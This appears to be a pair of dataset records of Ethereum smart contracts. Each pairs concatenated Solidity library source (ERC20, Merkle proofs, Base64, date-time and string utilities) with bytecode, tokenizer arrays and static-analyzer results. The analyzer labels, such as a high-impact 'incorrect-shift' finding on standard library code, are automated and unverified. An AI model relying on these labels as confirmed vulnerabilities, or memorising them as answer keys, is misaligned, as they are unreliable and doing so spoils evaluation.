operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.5.0; // Allows anyone to claim a token if they exist in a merkle root. interface IMerkleDistributor { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); }
0x608060405234801561001057600080fd5b50600436106100675760003560e01c80639e34070f116100505780639e34070f14610121578063da8d4c7714610152578063fc0c546a1461015a57610067565b80632e7ba6ef1461006c5780632eb4a7ab14610107575b600080fd5b6101056004803603608081101561008257600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff60208201351691604082013591908101906080810160608201356401000000008111156100c657600080fd5b8201836020820111156100d857600080fd5b803590602001918460208302840111640100000000831117156100fa57600080fd5b50909250905061018b565b005b61010f61046b565b60408051918252519081900360200190f35b61013e6004803603602081101561013757600080fd5b503561048f565b604080519115158252519081900360200190f35b6101056104b5565b61016261074f565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101948561048f565b156101ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806108446028913960400191505060405180910390fd5b6000858585604051602001808481526020018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001935050505060405160208183030381529060405280519060200120905061029e8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152507f088088f0c890d9598934cc9105979bfbaac6f3ea7bf9754b596b32f642664a9492508591506107739050565b6102f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061086c6021913960400191505060405180910390fd5b6102fc8661081c565b7f0000000000000000000000003c8d2fce49906e11e71cb16fa0ffeb2b16c2963873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561038d57600080fd5b505af11580156103a1573d6000803e3d6000fd5b505050506040513d60208110156103b757600080fd5b505161040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061088d6023913960400191505060405180910390fd5b6040805187815273ffffffffffffffffffffffffffffffffffffffff8716602082015280820186905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a1505050505050565b7f088088f0c890d9598934cc9105979bfbaac6f3ea7bf9754b596b32f642664a9481565b6101008104600090815260208190526040902054600160ff9092169190911b9081161490565b3373ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000087e1237074760f57b424121edca06f082700dbc2161461055957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4d65726b6c654469737472696275746f723a206e6f74206465706c6f79657200604482015290519081900360640190fd5b60007f0000000000000000000000003c8d2fce49906e11e71cb16fa0ffeb2b16c2963873ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156105e257600080fd5b505afa1580156105f6573d6000803e3d6000fd5b505050506040513d602081101561060c57600080fd5b5051604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000d06ae6fb7eade890f3e295d69a6679380c9456c1811660048301526024820184905291519293507f0000000000000000000000003c8d2fce49906e11e71cb16fa0ffeb2b16c296389091169163a9059cbb916044808201926020929091908290030181600087803b1580156106cb57600080fd5b505af11580156106df573d6000803e3d6000fd5b505050506040513d60208110156106f557600080fd5b505161074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806108b0602b913960400191505060405180910390fd5b50565b7f0000000000000000000000003c8d2fce49906e11e71cb16fa0ffeb2b16c2963881565b600081815b855181101561081157600086828151811061078f57fe5b602002602001015190508083116107d65782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610808565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610778565b509092149392505050565b610100810460009081526020819052604090208054600160ff9093169290921b909117905556fe4d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e4d65726b6c654469737472696275746f723a205472616e73666572206661696c65642e4d65726b6c654469737472696275746f723a20636f6c6c656374556e636c61696d6564206661696c65642ea264697066735822122010b7047f7ce0f33e73e7acef97bf6084a04fdbc391e4e6d3bef46b786fe7113064736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 16147, 2475, 19473, 2497, 22610, 2546, 2509, 2546, 2683, 2581, 2683, 22907, 2278, 15136, 2546, 22907, 2549, 4783, 2629, 2497, 12376, 21619, 2692, 2497, 2683, 2278, 2575, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1005, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 19706, 1013, 10047, 2121, 19859, 2923, 3089, 8569, 4263, 1012, 14017, 1005, 1025, 3206, 21442, 19859, 2923, 3089, 8569, 4263, 2003, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,034
0x96194081c7e2f4b87A2dc685581015C8A9c1e825
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import 'base64-sol/base64.sol'; import "./BokkyPooBahsDateTimeLibrary.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; library Utils { bytes16 internal constant ALPHABET = '0123456789abcdef'; function timestampToString(uint timestamp) internal pure returns (string memory) { (uint year, uint month, uint day, uint hour, uint minute, uint second) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(timestamp); return string(abi.encodePacked( Strings.toString(year), "-", zeroPadTwoDigits(month), "-", zeroPadTwoDigits(day) )); } function zeroPadTwoDigits(uint number) internal pure returns (string memory) { string memory numberString = Strings.toString(number); if (bytes(numberString).length < 2) { numberString = string(abi.encodePacked("0", numberString)); } return numberString; } function addressToString(address addr) internal pure returns (string memory) { return Strings.toHexString(uint160(addr), 20); } function toHexStringNoPrefix(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length); for (uint256 i = buffer.length; i > 0; i--) { buffer[i - 1] = ALPHABET[value & 0xf]; value >>= 4; } return string(buffer); } function toHexColor(uint24 value) internal pure returns (string memory) { return toHexStringNoPrefix(value, 3); } // You don't see a lot of HTML escaping in smart contracts these days, and for good reason! // This approach is adapted from the escapeQuotes() method in Uniswap's NFTDescriptor.sol // https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/NFTDescriptor.sol#L85 // // The conceptually-simpler version would be to go through the input string one time and // abi.encodePacked() each byte or escape sequence on to the output. This approach // is more complicated for the computer though and isn't so great with long strings. // // Notably I am not escaping quotes. Based on my understanding you only need to escape quotes // if the input string might be used in an HTML attribute, but still this is a dice roll. // HTML is kind of a beautiful format for how simple it is to escape! Just (if I'm right) three // special characters to worry about. Compare this to JSON where you have to worry about // escaping, for example, the iconic bell character (U+0007) // // However this does not make HTML easier to write by hand because you have to remember // that " & " is not valid! If you write an amperstand you have to follow through // with the escape sequence or you risk your thing breaking in a weird way eventually. function escapeHTML(string memory input) internal pure returns (string memory) { bytes memory inputBytes = bytes(input); uint extraCharsNeeded = 0; for (uint i = 0; i < inputBytes.length; i++) { bytes1 currentByte = inputBytes[i]; if (currentByte == "&") { extraCharsNeeded += 4; } else if (currentByte == "<") { extraCharsNeeded += 3; } else if (currentByte == ">") { extraCharsNeeded += 3; } } if (extraCharsNeeded > 0) { bytes memory escapedBytes = new bytes( inputBytes.length + extraCharsNeeded ); uint256 index; for (uint i = 0; i < inputBytes.length; i++) { if (inputBytes[i] == "&") { escapedBytes[index++] = "&"; escapedBytes[index++] = "a"; escapedBytes[index++] = "m"; escapedBytes[index++] = "p"; escapedBytes[index++] = ";"; } else if (inputBytes[i] == "<") { escapedBytes[index++] = "&"; escapedBytes[index++] = "l"; escapedBytes[index++] = "t"; escapedBytes[index++] = ";"; } else if (inputBytes[i] == ">") { escapedBytes[index++] = "&"; escapedBytes[index++] = "g"; escapedBytes[index++] = "t"; escapedBytes[index++] = ";"; } else { escapedBytes[index++] = inputBytes[i]; } } return string(escapedBytes); } return input; } function hashText(string memory text) public pure returns (string memory) { return Strings.toHexString(uint256(keccak256(bytes(text))), 32); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and( input , 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.9.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { (uint year,,) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { (uint year, uint month,) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { (year,,) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { (,month,) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { (,,day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); (uint fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (uint toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); (uint fromYear, uint fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (uint toYear, uint toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x7396194081c7e2f4b87a2dc685581015c8a9c1e82530146080604052600436106100355760003560e01c80631d2220b81461003a575b600080fd5b61004d6100483660046102ff565b610063565b60405161005a919061039c565b60405180910390f35b606061007a828051906020012060001c6020610080565b92915050565b6060600061008f8360026103c3565b61009a9060026103e2565b67ffffffffffffffff8111156100b2576100b26101fc565b6040519080825280601f01601f1916602001820160405280156100dc576020820181803683370190505b509050600360fc1b816000815181106100f7576100f76103fa565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110610126576101266103fa565b60200101906001600160f81b031916908160001a905350600061014a8460026103c3565b6101559060016103e2565b90505b60018111156101cd576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110610189576101896103fa565b1a60f81b82828151811061019f5761019f6103fa565b60200101906001600160f81b031916908160001a90535060049490941c936101c681610410565b9050610158565b5083156101f55760405162461bcd60e51b81526004016101ec90610427565b60405180910390fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b601f19601f830116810181811067ffffffffffffffff82111715610238576102386101fc565b6040525050565b600061024a60405190565b90506102568282610212565b919050565b600067ffffffffffffffff821115610275576102756101fc565b601f19601f83011660200192915050565b82818337506000910152565b60006102a56102a08461025b565b61023f565b9050828152602081018484840111156102c0576102c0600080fd5b6102cb848285610286565b509392505050565b600082601f8301126102e7576102e7600080fd5b81356102f7848260208601610292565b949350505050565b60006020828403121561031457610314600080fd5b813567ffffffffffffffff81111561032e5761032e600080fd5b6102f7848285016102d3565b60005b8381101561035557818101518382015260200161033d565b83811115610364576000848401525b50505050565b6000610374825190565b80845260208401935061038b81856020860161033a565b601f01601f19169290920192915050565b602080825281016101f5818461036a565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156103dd576103dd6103ad565b500290565b600082198211156103f5576103f56103ad565b500190565b634e487b7160e01b600052603260045260246000fd5b60008161041f5761041f6103ad565b506000190190565b60208082528181019081527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460408301526060820161007a56fea26469706673582212201187b05bf8bf60f2a02ba1ba7d1c79cf4fc325a4dea76e4b993f80351581c64c64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
